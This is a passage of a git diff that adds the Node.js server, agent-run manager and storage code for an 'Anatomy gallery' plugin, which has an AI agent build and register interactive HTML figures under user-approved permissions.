画廊。', + skillLine(skill), + '', + '## 要讲清楚的内容', + figure.prompt, + '', + '## 规模', + SIZE_TEXT[figure.size === 'hero' ? 'hero' : 'figure'], + example ? `可以参考技能目录下的示例 examples/${example}/ 的结构和写法,但物体要按上面的内容重新设计。` : '', + '', + '## 工作方式', + `1. 先运行 pwd 确认当前目录,在其中新建文件夹 figures/${figure.id}/。这张图解的所有文件都放在里面,不要修改这个文件夹以外的文件。`, + '2. 走 anatomy 的框架无关路径:写 build.mjs 生成独立 HTML 页面,深色版和 --light 浅色版都要生成。', + '3. 按 anatomy 的流程完成截图和校验,深色和浅色页面各留一张桌面尺寸截图,登记时要用。', + `4. 做完并校验后,${REGISTER_RULE.replace('{id}', figure.id)}工作时间较长时,可以先登记一个能打开的草稿版,note 里注明是草稿。`, + '5. 不要发布到 anatomy 社区画廊。', + '6. 语言跟随用户:上面「要讲清楚的内容」用的是什么语言,你过程中的说明、最后的总结、登记时的 title 和 note,以及图里给观众看的文字(标题、图例、图注、提示和读数标签)都用这种语言。最后用两三句话说明这张图解用什么物体表现了什么、怎么交互。', + ] + .filter((line, index, lines) => line !== '' || lines[index - 1] !== '') + .join('\n'); +} + +/** + * @param {any} figure @param {string} instruction @param {boolean} newSession + * @param {{ root: string, bundled: boolean } | null} [skill] + */ +export function editPrompt(figure, instruction, newSession, skill = null) { + const latest = figure.versions.at(-1); + // An imported page is a copy of someone else's folder (possibly the skill's own examples): never edit it in place. + const needsCopy = latest.origin === 'import'; + const workDir = needsCopy ? `当前工作目录下的 figures/${figure.id}/` : '源文件夹'; + return [ + `继续修改 Anatomy 画廊里的图解《${figure.title}》(figureId: ${figure.id})。`, + `当前最新是第 ${latest.n} 版,源文件夹:${figure.sourceDir}`, + skillLine(skill), + needsCopy + ? `这张图解是导入的。先运行 pwd 确认当前目录,把源文件夹整个复制到 figures/${figure.id}/,之后只修改副本,不要改动原文件夹。如果 build.mjs 用相对路径引用 anatomy 的 kit,复制后改成指向 ${kitDir(skill)}。` + : '', + newSession || needsCopy ? '这张图解不是在这个对话里做的,先读一下 build.mjs 和相关模块,了解它的结构。' : '', + '', + '## 修改要求', + instruction, + '', + '## 工作方式', + `只修改${workDir}里的文件。build.mjs 里引用的 anatomy kit 路径如果已经不存在,改成指向 ${kitDir(skill)},其余照旧。改完后用 anatomy 重新生成深色和浅色页面,按它的流程校验,然后${REGISTER_RULE.replace('{id}', figure.id)}`, + '不要发布到 anatomy 社区画廊。', + '语言跟随用户:上面「修改要求」用的是什么语言,你过程中的说明、最后的总结、登记时的 title 和 note 都用这种语言。图里已有文字的语言保持不变,除非修改要求里提到要改。最后用一两句话说明改了什么。', + ] + .filter((line, index, lines) => line !== '' || lines[index - 1] !== '') + .join('\n'); +} + +/** + * Validate a model selection sent by the page. The Host validates it again against `models()`. + * @param {unknown} value + * @returns {import('./miniapp-api.js').MiniAppAgentModelSelection | null} + */ +export function selectionFrom(value) { + if (!value || typeof value !== 'object') return null; + const raw = /** @type {Record<string, any>} */ (value); + const providerId = cleanText(raw.providerId, 120); + const modelId = cleanText(raw.modelId, 120); + if (!providerId || !modelId) return null; + /** @type {{ providerId: string, modelId: string, variant?: string, thinking?: { effort: string } }} */ + const selection = { providerId, modelId }; + if (typeof raw.variant === 'string') selection.variant = raw.variant.slice(0, 60); // '' keeps thinking off + const effort = cleanText(raw.thinking?.effort, 40); + if (effort) selection.thinking = { effort }; + return selection; +} + +/** Keep only displayable model fields; never credentials. @param {any} model */ +function modelOf(model) { + if (!model || typeof model !== 'object') return null; + return { + providerId: cleanText(model.providerId, 120), + modelId: cleanText(model.modelId, 120), + variant: typeof model.variant === 'string' ? model.variant : null, + effort: typeof model.thinking?.effort === 'string' ? cleanText(model.thinking.effort, 40) : null, + }; +} + +/** @param {unknown} error */ +function errorCode(error) { + return error && typeof error === 'object' && 'code' in error ? String(error.code) : 'app_call_failed'; +} + +const FAILURE_TEXT = { + BUSY: '这个对话或运行队列正忙,稍后再试。', + AGENT_UNAVAILABLE: 'Agent 暂时不可用,稍后再试。', + AGENT_OUTCOME_UNKNOWN: '无法确认这次运行是否已执行,请先打开对话查看,不要直接重试。', + SESSION_NOT_FOUND: '关联的对话已不存在。', + INVALID_ARGUMENTS: '所选模型现在不可用,换一个再试。', + NOT_PERMITTED: '画廊没有运行 Agent 的权限。', + REQUEST_CANCELLED: '已取消。', +}; + +/** + * @param {{ agent: MiniAppAgentClient | undefined, store: ReturnType<typeof import('./store.mjs').createStore>, + * publish: (event: object) => void, logger: MiniAppLogger, logDir: string, pluginRoot?: string }} deps + */ +export function createRunManager({ agent, store, publish, logger, logDir, pluginRoot }) { + /** + * The production log of one run: what the gallery asked, which model answered, every Agent + * message, each finished tool step and every permission decision. One JSON object per line. + * @param {any} live @param {Record<string, unknown>} entry + */ + function log(live, entry) { + if (live.logCount >= MAX_LOG_ENTRIES) return; + live.logCount += 1; + const line = live.logCount === MAX_LOG_ENTRIES ? { type: 'truncated', t: Date.now() } : { ...entry, t: Date.now() }; + live.logWrite = live.logWrite + .then(() => appendFile(join(logDir, `${live.runId}.jsonl`), `${JSON.stringify(line)}\n`)) + .catch((/** @type {unknown} */ error) => logger.warn('anatomy_gallery.log_write_failed', { code: errorCode(error) })); + publish({ type: 'log', figureId: live.figureId, runId: live.runId, entry: line }); + } + + /** @type {Map<string, any>} figureId -> live run */ + const active = new Map(); + + /** @param {any} live */ + function liveView(live) { + return { + runId: live.runId, + startedAt: live.startedAt, + lastTool: live.lastTool, + textTail: live.textTail, + model: live.model ?? null, + permissions: [...live.permissions.values()].map((item) => ({ + requestId: item.requestId, + toolName: item.toolName, + reason: item.reason, + toolInput: item.toolInput, + child: item.sessionId !== live.sessionId, + })), + }; + } + + /** @param {any} live */ + function emitProgress(live) { + const now = Date.now(); + if (now - live.lastEmit < 400) { + live.pendingEmit ??= setTimeout(() => { + live.pendingEmit = null; + emitProgress(live); + }, 450); + return; + } + live.lastEmit = now; + publish({ type: 'run', figureId: live.figureId, live: liveView(live) }); + } + + /** + * @param {string} figureId + * @param {{ kind: 'create' | 'edit', instruction?: string, example?: string | null, + * model?: import('./miniapp-api.js').MiniAppAgentModelSelection | null }} input + */ + async function start(figureId, input) { + if (!agent) throw new GalleryError('agent_unavailable', '这个画廊没有获得运行 Agent 的授权'); + if (active.has(figureId)) throw new GalleryError('busy', '这张图解已经有一次运行在进行'); + const figure = store.find(figureId); + const instruction = cleanText(input.instruction, 4000); + if (input.kind === 'edit' && !instruction) throw new GalleryError('invalid', '请先写下要怎么改'); + if (input.kind === 'edit' && figure.versions.length === 0) { + throw new GalleryError('invalid', '还没有可修改的版本,请等首版完成或重新生成'); + } + + const live = { + figureId, + runId: randomUUID(), + startedAt: Date.now(), + sessionId: figure.sessionId, + controller: new AbortController(), + permissions: new Map(), + lastTool: '', + textTail: '', + lastEmit: 0, + pendingEmit: /** @type {NodeJS.Timeout | null} */ (null), + logCount: 0, + logWrite: Promise.resolve(), + }; + active.set(figureId, live); + try { + await store.update(figureId, (item) => { + item.runs.push({ + id: live.runId, + kind: input.kind, + instruction: input.kind === 'edit' ? instruction : '', + startedAt: live.startedAt, + status: 'running', + }); + }); + } catch (error) { + active.delete(figureId); + throw error; + } + publish({ type: 'changed', figureId }); + void execute(live, input, instruction); + return live.runId; + } + + /** @param {any} live @param {any} input @param {string} instruction */ + async function execute(live, input, instruction) { + const agentClient = /** @type {MiniAppAgentClient} */ (agent); + /** @type {Record<string, any>} */ + const outcome = {}; + try { + await mkdir(logDir, { recursive: true }); + let newSession = false; + if (!live.sessionId) { + const created = await agentClient.create(); + live.sessionId = created.sessionId; + newSession = true; + await store.update(live.figureId, (item) => { + item.sessionId = created.sessionId; + }); + publish({ type: 'changed', figureId: live.figureId }); + } + const figure = store.find(live.figureId); + const skill = await resolveSkill(pluginRoot); + const text = + input.kind === 'create' + ? createPrompt(figure, input.example ?? null, skill) + : editPrompt(figure, instruction, newSession && figure.source !== 'gallery', skill); + log(live, { + type: 'start', + kind: input.kind, + request: input.kind === 'create' ? figure.prompt : instruction, + prompt: text, + model: input.model ? modelOf(input.model) : null, + }); + + /** @param {MiniAppAgentRunEvent} event */ + const onEvent = (event) => { + switch (event.type) { + case 'turn.started': + outcome.turnId = event.turnId; + live.model = modelOf(event.model); + outcome.model = live.model; + log(live, { type: 'turn', model: live.model }); + emitProgress(live); + break; + case 'message.committed': + if (event.text.trim()) log(live, { type: 'message', text: cleanText(event.text, 8000) }); + break; + case 'tool.finished': + log(live, { type: 'tool', name: cleanText(event.name, 120), ok: event.ok }); + break; + case 'question.requested': + log(live, { + type: 'question', + title: cleanText(event.request.title, 120), + steps: event.request.steps.map((step) => cleanText(step.question, 300)), + }); + break; + case 'tool.started': + live.lastTool = event.name; + emitProgress(live); + break; + case 'text.delta': + live.textTail = (live.textTail + event.text).slice(-280); + emitProgress(live); + break; + case 'permission.requested': + onPermission(live, event); + break; + default: + break; + } + }; + const result = await agentClient.run( + { text, sessionId: live.sessionId, ...(input.model ? { model: input.model } : {}) }, + { signal: live.controller.signal, onEvent }, + ); + outcome.status = result.status; + outcome.turnId = result.turnId ?? outcome.turnId; + if (result.model) outcome.model = modelOf(result.model); + outcome.summary = cleanText(result.text, 2000); + if (result.error) outcome.error = cleanText(result.error.message, 300) || result.error.code; + if (result.pendingQuestion) { + outcome.status = 'question'; + outcome.question = { + title: cleanText(result.pendingQuestion.request.title, 120), + steps: result.pendingQuestion.request.steps.map((step) => cleanText(step.question, 300)), + }; + } + } catch (error) { + const code = errorCode(error); + outcome.status = code === 'REQUEST_CANCELLED' ? 'aborted' : code === 'AGENT_OUTCOME_UNKNOWN' ? 'unknown' : 'failed'; + outcome.error = FAILURE_TEXT[/** @type {keyof typeof FAILURE_TEXT} */ (code)] ?? '运行失败,请打开对话查看。'; + logger.warn('anatomy_gallery.run_failed', { code }); + } finally { + log(live, { type: 'end', status: outcome.status ?? 'failed', error: outcome.error ?? null }); + if (live.pendingEmit) clearTimeout(live.pendingEmit); + active.delete(live.figureId); + try { + await store.update(live.figureId, (item) => { + const run = item.runs.find((entry) => entry.id === live.runId); + if (!run) return; + Object.assign(run, outcome, { endedAt: Date.now() }); + if (!run.status) run.status = 'failed'; + }); + } catch (error) { + logger.warn('anatomy_gallery.run_record_failed', { code: errorCode(error) }); + } + publish({ type: 'changed', figureId: live.figureId }); + } + } + + /** + * Every request waits for the user: a click on the gallery card, or the Host's own card in the chat + * side panel (where MCode offers its own "allow for this conversation"). The gallery never answers + * on the user's behalf. + * @param {any} live @param {Extract<MiniAppAgentRunEvent, { type: 'permission.requested' }>} event + */ + function onPermission(live, event) { + log(live, { type: 'permission', toolName: cleanText(event.toolName, 120), reason: cleanText(event.reason, 400) }); + live.permissions.set(event.requestId, { + requestId: event.requestId, + sessionId: event.sessionId, + toolName: event.toolName, + reason: cleanText(event.reason, 400), + toolInput: cleanText(event.toolInput, 800), + }); + emitProgress(live); + } + + /** @param {string} figureId @param {string} requestId @param {'allowOnce' | 'deny'} decision */ + async function reply(figureId, requestId, decision) { + const live = active.get(figureId); + const request = live?.permissions.get(requestId); + if (!live || !request) throw new GalleryError('not_found', '这个确认请求已经结束'); + let settledElsewhere = false; + try { + await /** @type {MiniAppAgentClient} */ (agent).reply({ sessionId: request.sessionId, requestId, decision }); + } catch (error) { + if (errorCode(error) !== 'REQUEST_NOT_FOUND') throw error; + settledElsewhere = true; // decided on MCode's card in the side panel, or the run moved on + } + live.permissions.delete(requestId); + log(live, { type: 'decision', toolName: request.toolName, decision: settledElsewhere ? 'elsewhere' : decision }); + emitProgress(live); + if (settledElsewhere) throw new GalleryError('not_found', '这个请求已经在对话里处理过了'); + } + + /** @param {string} figureId */ + function cancel(figureId) { + const live = active.get(figureId); + if (!live) throw new GalleryError('not_found', '当前没有进行中的运行'); + live.controller.abort(); + } + + return { + start, + reply, + cancel, + /** @param {string} figureId */ + live: (figureId) => { + const run = active.get(figureId); + return run ? liveView(run) : null; + }, + isActive: (/** @type {string} */ figureId) => active.has(figureId), + /** Model of the run currently working on this figure, used to label a version it registers. */ + liveModel: (/** @type {string} */ figureId) => active.get(figureId)?.model ?? null, + liveRunId: (/** @type {string} */ figureId) => active.get(figureId)?.runId ?? null, + /** @param {string} runId */ + async readLog(runId) { + if (!RUN_ID.test(runId)) throw new GalleryError('invalid', '运行编号无效'); + let raw = ''; + try { + raw = await readFile(join(logDir, `${runId}.jsonl`), 'utf8'); + } catch (error) { + if (/** @type {any} */ (error).code === 'ENOENT') return null; + throw error; + } + return raw + .split('\n') + .filter(Boolean) + .flatMap((line) => { + try { + return [JSON.parse(line)]; + } catch { + return []; + } + }); + }, + /** @param {readonly string[]} runIds */ + async removeLogs(runIds) { + await Promise.all(runIds.filter((id) => RUN_ID.test(id)).map((id) => rm(join(logDir, `${id}.jsonl`), { force: true }))); + }, + dispose() { + for (const live of active.values()) live.controller.abort(); + }, + }; +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/node/server.mjs b/plugins/zch0227/anatomy-gallery/miniapp/node/server.mjs new file mode 100644 index 00000000..0ec4cf73 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/node/server.mjs @@ -0,0 +1,468 @@ +// @ts-check +import { createReadStream } from 'node:fs'; +import { readFile } from 'node:fs/promises'; +import { createServer } from 'node:http'; +import { join } from 'node:path'; +import { createExamples } from './examples.mjs'; +import { createMcpEndpoint } from './mcp.mjs'; +import { createRunManager, selectionFrom } from './runs.mjs'; +import { GalleryError, cleanText, createStore } from './store.mjs'; + +/** @typedef {import('./miniapp-api.js').MiniAppContext} MiniAppContext */ +/** @typedef {import('./miniapp-api.js').MiniAppLifecycle} MiniAppLifecycle */ +/** @typedef {import('node:http').IncomingMessage} IncomingMessage */ +/** @typedef {import('node:http').ServerResponse} ServerResponse */ + +const MAX_JSON_BODY = 64 * 1024; +const MAX_MCP_BODY = 256 * 1024; +const STATUS_BY_CODE = { invalid: 400, not_found: 404, busy: 409, agent_unavailable: 503, too_large: 413 }; + +/** + * @param {MiniAppContext} context + * @returns {Promise<MiniAppLifecycle>} + */ +export async function start(context) { + const clientDir = join(context.pluginRoot, 'miniapp/client'); + const [indexHtml, appJs, appCss] = await Promise.all([ + readFile(join(clientDir, 'index.html')), + readFile(join(clientDir, 'app.js')), + readFile(join(clientDir, 'app.css')), + ]); + + const store = createStore(context.dataDir); + await store.load(); + const examples = createExamples(context.pluginRoot); + + /** @type {Set<ServerResponse>} */ + const subscribers = new Set(); + /** @param {object} event */ + const publish = (event) => { + const frame = `data: ${JSON.stringify(event)}\n\n`; + for (const response of subscribers) { + try { + response.write(frame); + } catch { + subscribers.delete(response); + } + } + }; + const heartbeat = setInterval(() => { + for (const response of subscribers) { + try { + response.write(': keep-alive\n\n'); + } catch { + subscribers.delete(response); + } + } + }, 25_000); + + const runs = createRunManager({ agent: context.agent, store, publish, logger: context.logger, logDir: join(context.dataDir, 'runs'), pluginRoot: context.pluginRoot }); + + const mcp = createMcpEndpoint({ + name: 'anatomy-gallery', + version: '1.1.0', + instructions: + 'Anatomy gallery: after building an anatomy figure, register each viewable version with register_figure_version. ' + + 'Use list_figures to find the figureId of an existing figure before registering a new version of it.', + tools: [ + { + name: 'register_figure_version', + description: + 'Register a built anatomy figure page as a new version in the Anatomy gallery. Pass figureId to add a version ' + + 'to an existing figure; omit it to create a new gallery entry. Paths must be absolute. The page must be a ' + + 'standalone HTML page built by the anatomy kit. Returns the figureId and version number.', + inputSchema: { + type: 'object', + properties: { + figureId: { type: 'string', description: 'Existing gallery figure id, for example fig-1a2b3c4d.' }, + page: { type: 'string', description: 'Absolute path of the built dark (default) HTML page.' }, + lightPage: { + type: 'string', + description: 'Absolute path of the --light HTML page. Optional; a sibling <name>-light.html is detected automatically.', + }, + preview: { type: 'string', description: 'Absolute path of a desktop screenshot of the dark page (PNG, WebP or JPEG).' }, + lightPreview: { type: 'string', description: 'Absolute path of a desktop screenshot of the light page (PNG, WebP or JPEG).' }, + note: { type: 'string', description: 'One short sentence, in the user language, describing this version.' }, + title: { type: 'string', description: 'Short figure title in the user language. Used when creating a figure or renaming it.' }, + prompt: { type: 'string', description: 'The original request, stored when creating a new figure.' }, + category: { + type: 'string', + description: 'Name of an existing gallery room to hang a new figure in. Unknown names use the default room. Ignored for an existing figure.', + }, + }, + required: ['page'], + additionalProperties: false, + }, + handler: async (args) => { + const { figure, version } = await store.addVersion({ + figureId: typeof args.figureId === 'string' && args.figureId ? args.figureId : undefined, + page: String(args.page ?? ''), + lightPage: typeof args.lightPage === 'string' && args.lightPage ? args.lightPage : undefined, + preview: typeof args.preview === 'string' && args.preview ? args.preview : undefined, + lightPreview: typeof args.lightPreview === 'string' && args.lightPreview ? args.lightPreview : undefined, + note: typeof args.note === 'string' ? args.note : '', + title: typeof args.title === 'string' ? args.title : '', + prompt: typeof args.prompt === 'string' ? args.prompt : '', + origin: 'agent', + model: typeof args.figureId === 'string' ? runs.liveModel(args.figureId) : null, + runId: typeof args.figureId === 'string' ? runs.liveRunId(args.figureId) : null, + categoryId: store.categoryIdByName(args.category), + }); + publish({ type: 'changed', figureId: figure.id }); + return JSON.stringify({ + figureId: figure.id, + title: figure.title, + version: version.n, + hasLight: version.hasLight, + hasPreview: !!version.previewExt, + hasLightPreview: !!version.lightPreviewExt, + }); + }, + }, + { + name: 'list_figures', + description: 'List figures in the Anatomy gallery with their id, title, room (category), latest version and source folder.', + inputSchema: { type: 'object', properties: {}, additionalProperties: false }, + handler: async () => { + const rooms = new Map(store.listCategories().map((item) => [item.id, item.name])); + return JSON.stringify( + store.list().map((item) => ({ + figureId: item.id, + title: item.title, + category: rooms.get(item.categoryId) ?? '默认', + versions: item.versionCount, + latestNote: item.latest?.note ?? '', + sourceDir: store.find(item.id).sourceDir, + })), + ); + }, + }, + ], + }); + + /** @param {IncomingMessage} request @param {ServerResponse} response */ + async function route(request, response) { + const url = new URL(request.url ?? '/', 'http://miniapp.local'); + const path = url.pathname; + const method = request.method ?? 'GET'; + + if (path === '/mcp/anatomy-gallery') { + const body = method === 'POST' ? await readBody(request, MAX_MCP_BODY) : ''; + await mcp.handle(request, response, body); + return; + } + if (method === 'GET' && (path === '/' || path === '/gallery')) { + if (path === '/') return redirect(response, '/gallery'); + return send(response, 200, 'text/html; charset=utf-8', indexHtml, 'no-store'); + } + if (method === 'GET' && path === '/assets/app.js') { + return send(response, 200, 'text/javascript; charset=utf-8', appJs, 'no-store'); + } + if (method === 'GET' && path === '/assets/app.css') { + return send(response, 200, 'text/css; charset=utf-8', appCss, 'no-store'); + } + + if (method === 'GET' && path === '/api/events') { + response.writeHead(200, { + 'content-type': 'text/event-stream; charset=utf-8', + 'cache-control': 'no-store', + connection: 'keep-alive', + }); + response.write(': connected\n\n'); + subscribers.add(response); + request.on('close', () => subscribers.delete(response)); + return; + } + if (method === 'GET' && path === '/api/models') { + if (!context.agent) throw new GalleryError('agent_unavailable', '这个画廊没有获得运行 Agent 的授权'); + return json(response, 200, await context.agent.models()); + } + if (method === 'GET' && path === '/api/state') { + return json(response, 200, { + agentAvailable: !!context.agent, + figures: store.list(), + categories: store.listCategories(), + examples: await examples.list(), + }); + } + + const exampleMatch = /^\/api\/examples\/([a-z0-9-]+)\/(dark|light|preview)$/.exec(path); + if (method === 'GET' && exampleMatch) { + const example = await examples.get(exampleMatch[1]); + const kind = exampleMatch[2]; + const file = example && (kind === 'dark' ? example.dark : kind === 'light' ? example.light : example.preview); + if (!file) throw new GalleryError('not_found', '找不到这个示例文件'); + return sendFile(response, file, kind === 'preview' ? 'image/webp' : 'text/html; charset=utf-8', 'no-cache'); + } + + if (method === 'POST' && path === '/api/figures') { + const body = await readJson(request); + const prompt = cleanText(body.prompt, 4000); + if (!prompt) throw new GalleryError('invalid', '请描述想讲清楚的内容'); + if (!context.agent) throw new GalleryError('agent_unavailable', '这个画廊没有获得运行 Agent 的授权'); + const example = typeof body.example === 'string' && body.example ? await examples.get(body.example) : null; + const figure = await store.createFigure({ + title: cleanText(body.title, 80) || prompt.split('\n')[0].slice(0, 40), + prompt, + size: body.size === 'hero' ? 'hero' : 'figure', + source: 'gallery', + categoryId: body.categoryId, + }); + publish({ type: 'changed', figureId: figure.id }); + await runs.start(figure.id, { kind: 'create', example: example?.name ?? null, model: selectionFrom(body.model) }); + return json(response, 201, { figureId: figure.id }); + } + if (method === 'POST' && path === '/api/import') { + const body = await readJson(request); + const page = cleanText(body.page, 2000); + if (!page) throw new GalleryError('invalid', '请填写页面的绝对路径'); + const { figure } = await store.addVersion({ page, origin: 'import', note: '导入', categoryId: body.categoryId }); + publish({ type: 'changed', figureId: figure.id }); + return json(response, 201, { figureId: figure.id }); + } + + if (path === '/api/categories' && method === 'POST') { + const body = await readJson(request); + const category = await store.createCategory(body.name); + publish({ type: 'categories' }); + return json(response, 201, { category }); + } + if (path === '/api/categories/order' && method === 'POST') { + const body = await readJson(request); + await store.reorderCategories(body.ids); + publish({ type: 'categories' }); + return json(response, 200, { ok: true }); + } + const categoryMatch = /^\/api\/categories\/(default|cat-[a-f0-9]{6})$/.exec(path); + if (categoryMatch && method === 'PATCH') { + const body = await readJson(request); + const category = await store.renameCategory(categoryMatch[1], body.name); + publish({ type: 'categories' }); + return json(response, 200, { category }); + } + if (categoryMatch && method === 'DELETE') { + const result = await store.deleteCategory(categoryMatch[1]); + publish({ type: 'categories' }); + return json(response, 200, result); + } + + const figureMatch = /^\/api\/figures\/(fig-[a-f0-9]{8})(?:\/(.+))?$/.exec(path); + if (figureMatch) { + const [, id, rest = ''] = figureMatch; + if (method === 'GET' && rest === '') { + const figure = store.find(id); + return json(response, 200, { figure: publicFigure(figure), live: runs.live(id), agentAvailable: !!context.agent }); + } + if (method === 'DELETE' && rest === '') { + if (runs.isActive(id)) throw new GalleryError('busy', '这张图解还有运行在进行,先取消再删除'); + const runIds = store.find(id).runs.map((/** @type {any} */ run) => run.id); + await store.remove(id); + await runs.removeLogs(runIds); + publish({ type: 'removed', figureId: id }); + return json(response, 200, { ok: true }); + } + const fileMatch = /^versions\/(\d{1,4})\/(dark|light|preview|preview-light)$/.exec(rest); + if (method === 'GET' && fileMatch) { + const file = store.versionFile(id, Number(fileMatch[1]), /** @type {any} */ (fileMatch[2])); + return sendFile(response, file.path, file.type ?? 'application/octet-stream', 'private, max-age=31536000, immutable'); + } + if (method === 'POST' && rest === 'runs') { + const body = await readJson(request); + const kind = body.kind === 'create' ? 'create' : 'edit'; + await runs.start(id, { kind, instruction: body.instruction, model: selectionFrom(body.model) }); + return json(response, 202, { ok: true }); + } + const logMatch = /^runs\/([0-9a-f-]{36})\/log$/.exec(rest); + if (method === 'GET' && logMatch) { + const figure = store.find(id); + if (!figure.runs.some((/** @type {any} */ run) => run.id === logMatch[1])) throw new GalleryError('not_found', '找不到这次运行'); + const entries = await runs.readLog(logMatch[1]); + return json(response, 200, { entries: entries ?? [], recorded: entries !== null }); + } + if (method === 'POST' && rest === 'category') { + const body = await readJson(request); + await store.moveFigure(id, body.categoryId); + publish({ type: 'changed', figureId: id }); + return json(response, 200, { ok: true }); + } + if (method === 'POST' && rest === 'cancel') { + runs.cancel(id); + return json(response, 202, { ok: true }); + } + const permissionMatch = /^permissions\/([A-Za-z0-9_.:-]{1,200})$/.exec(rest); + if (method === 'POST' && permissionMatch) { + const body = await readJson(request); + const decision = body.decision === 'allowOnce' ? 'allowOnce' : 'deny'; + await runs.reply(id, permissionMatch[1], decision); + return json(response, 200, { ok: true }); + } + } + + throw new GalleryError('not_found', '没有这个页面'); + } + + /** @param {any} figure */ + function publicFigure(figure) { + return { + id: figure.id, + title: figure.title, + prompt: figure.prompt, + size: figure.size, + source: figure.source, + createdAt: figure.createdAt, + updatedAt: figure.updatedAt, + sessionId: figure.sessionId, + sourceDir: figure.sourceDir, + categoryId: store.categoryOf(figure), + versions: figure.versions.map((version) => ({ + n: version.n, + createdAt: version.createdAt, + note: version.note, + origin: version.origin, + hasLight: version.hasLight, + hasPreview: !!version.previewExt, + hasLightPreview: !!version.lightPreviewExt, + model: version.model ?? null, + runId: version.runId ?? null, + })), + runs: figure.runs.slice(-10).reverse(), + }; + } + + const server = createServer((request, response) => { + route(request, response).catch((error) => { + if (response.headersSent) { + response.destroy(); + return; + } + if (error instanceof GalleryError) { + json(response, STATUS_BY_CODE[/** @type {keyof typeof STATUS_BY_CODE} */ (error.code)] ?? 400, { + error: error.code, + message: error.message, + }); + return; + } + context.logger.error('anatomy_gallery.request_failed', { code: String(error?.code ?? 'unknown') }); + json(response, 500, { error: 'internal', message: '画廊服务出错,请重试' }); + }); + }); + + await listen(server, context.listen.host, context.listen.port); + context.logger.info('anatomy_gallery.listening'); + + let disposed = false; + const dispose = async () => { + if (disposed) return; + disposed = true; + context.signal.removeEventListener('abort', onAbort); + clearInterval(heartbeat); + runs.dispose(); + for (const response of subscribers) response.end(); + subscribers.clear(); + server.closeAllConnections?.(); + await close(server); + }; + const onAbort = () => { + void dispose(); + }; + context.signal.addEventListener('abort', onAbort, { once: true }); + if (context.signal.aborted) await dispose(); + + return { dispose }; +} + +/** @param {IncomingMessage} request @param {number} limit */ +function readBody(request, limit) { + return new Promise((resolve, reject) => { + let size = 0; + /** @type {Buffer[]} */ + const chunks = []; + request.on('data', (chunk) => { + size += chunk.length; + if (size > limit) { + reject(new GalleryError('too_large', '请求内容过大')); + request.destroy(); + return; + } + chunks.push(chunk); + }); + request.on('end', () => resolve(Buffer.concat(chunks).toString('utf8'))); + request.on('error', reject); + }); +} + +/** @param {IncomingMessage} request */ +async function readJson(request) { + const raw = await readBody(request, MAX_JSON_BODY); + if (!raw) return {}; + try { + const value = JSON.parse(raw); + return value && typeof value === 'object' && !Array.isArray(value) ? value : {}; + } catch { + throw new GalleryError('invalid', '请求格式不对'); + } +} + +/** @param {ServerResponse} response @param {number} status @param {unknown} value */ +function json(response, status, value) { + send(response, status, 'application/json; charset=utf-8', JSON.stringify(value), 'no-store'); +} + +/** @param {ServerResponse} response @param {string} location */ +function redirect(response, location) { + response.writeHead(302, { location }); + response.end(); +} + +/** + * @param {ServerResponse} response @param {number} status @param {string} type + * @param {string | Buffer} body @param {string} cache + */ +function send(response, status, type, body, cache) { + response.writeHead(status, { + 'content-type': type, + 'cache-control': cache, + 'x-content-type-options': 'nosniff', + }); + response.end(body); +} + +/** @param {ServerResponse} response @param {string} path @param {string} type @param {string} cache */ +function sendFile(response, path, type, cache) { + return new Promise((resolve, reject) => { + const stream = createReadStream(path); + stream.once('open', () => { + response.writeHead(200, { 'content-type': type, 'cache-control': cache, 'x-content-type-options': 'nosniff' }); + stream.pipe(response); + }); + stream.once('error', (error) => { + if (response.headersSent) { + response.destroy(); + resolve(undefined); + } else { + reject(/** @type {any} */ (error).code === 'ENOENT' ? new GalleryError('not_found', '文件不存在') : error); + } + }); + stream.once('end', () => resolve(undefined)); + }); +} + +/** @param {import('node:http').Server} server @param {string} host @param {number} port */ +function listen(server, host, port) { + return new Promise((resolve, reject) => { + /** @param {Error} error */ + const onError = (error) => reject(error); + server.once('error', onError); + server.listen(port, host, () => { + server.off('error', onError); + resolve(undefined); + }); + }); +} + +/** @param {import('node:http').Server} server */ +function close(server) { + return new Promise((resolve, reject) => { + server.close((error) => (error ? reject(error) : resolve(undefined))); + }); +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/node/store.mjs b/plugins/zch0227/anatomy-gallery/miniapp/node/store.mjs new file mode 100644 index 00000000..798160cb --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/node/store.mjs @@ -0,0 +1,426 @@ +// @ts-check +// Gallery state: figures, their versions (copied page snapshots) and recent Agent runs. +import { randomUUID } from 'node:crypto'; +import { mkdir, readFile, realpath, rename, rm, stat, writeFile } from 'node:fs/promises'; +import { basename, dirname, extname, isAbsolute, join } from 'node:path'; + +const MAX_PAGE_BYTES = 30 * 1024 * 1024; +const MAX_PREVIEW_BYTES = 15 * 1024 * 1024; +const MAX_RUNS_PER_FIGURE = 20; +const MAX_CATEGORIES = 30; +export const DEFAULT_CATEGORY = 'default'; +const PREVIEW_TYPES = new Map([ + ['.png', 'image/png'], + ['.webp', 'image/webp'], + ['.jpg', 'image/jpeg'], + ['.jpeg', 'image/jpeg'], +]); +/** Every anatomy page wraps the figure in `class="iso"` (kit ISO_CSS root). */ +const ANATOMY_MARKER = /class\s*=\s*["']iso["']/; + +/** + * The image type from the file's own header, never from its name: PNG, JPEG or WebP. + * @param {Buffer} buffer + * @returns {'.png' | '.jpg' | '.webp' | null} + */ +function imageType(buffer) { + if (buffer.length >= 8 && buffer.subarray(0, 8).equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))) return '.png'; + if (buffer.length >= 3 && buffer[0] === 0xff && buffer[1] === 0xd8 && buffer[2] === 0xff) return '.jpg'; + if (buffer.length >= 12 && buffer.toString('latin1', 0, 4) === 'RIFF' && buffer.toString('latin1', 8, 12) === 'WEBP') return '.webp'; + return null; +} + +/** + * Resolve symlinks first, so every later check applies to the file that will actually be read. + * @param {string} path @param {string} label + */ +async function resolveFile(path, label) { + let real; + try { + real = await realpath(path); + } catch { + throw new GalleryError('invalid', `${label}不存在:${path}`); + } + const info = await stat(real); + if (!info.isFile()) throw new GalleryError('invalid', `${label}不是文件:${path}`); + return { real, size: info.size }; +} + +export class GalleryError extends Error { + /** @param {string} code @param {string} message */ + constructor(code, message) { + super(message); + this.code = code; + } +} + +/** @param {unknown} value @param {number} max */ +export function cleanText(value, max) { + if (typeof value !== 'string') return ''; + return value.replace(/\r\n/g, '\n').trim().slice(0, max); +} + +/** @param {string} html */ +function titleOf(html) { + const match = 